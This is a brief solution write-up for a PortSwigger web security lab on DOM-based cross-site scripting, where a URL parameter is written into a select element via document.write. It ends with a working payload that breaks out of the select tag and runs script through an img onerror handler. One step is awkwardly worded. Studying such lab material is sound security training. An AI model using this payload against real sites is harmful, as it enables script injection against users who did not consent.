PortSwigger Lab: DOM XSS in document.write sink using source location.search inside a select element

Lab: DOM XSS in document.write sink using source location.search inside a select element

Solution

1. View product detail page.
2. Inspect element on the check stock feature.
3. Notice that we any javaScript code that use window.location.search and get the value of storeId.
4. Assign payload to url query like this ?productId=1&storeId="></select><img%20src=1%20onerror=alert(window.location)>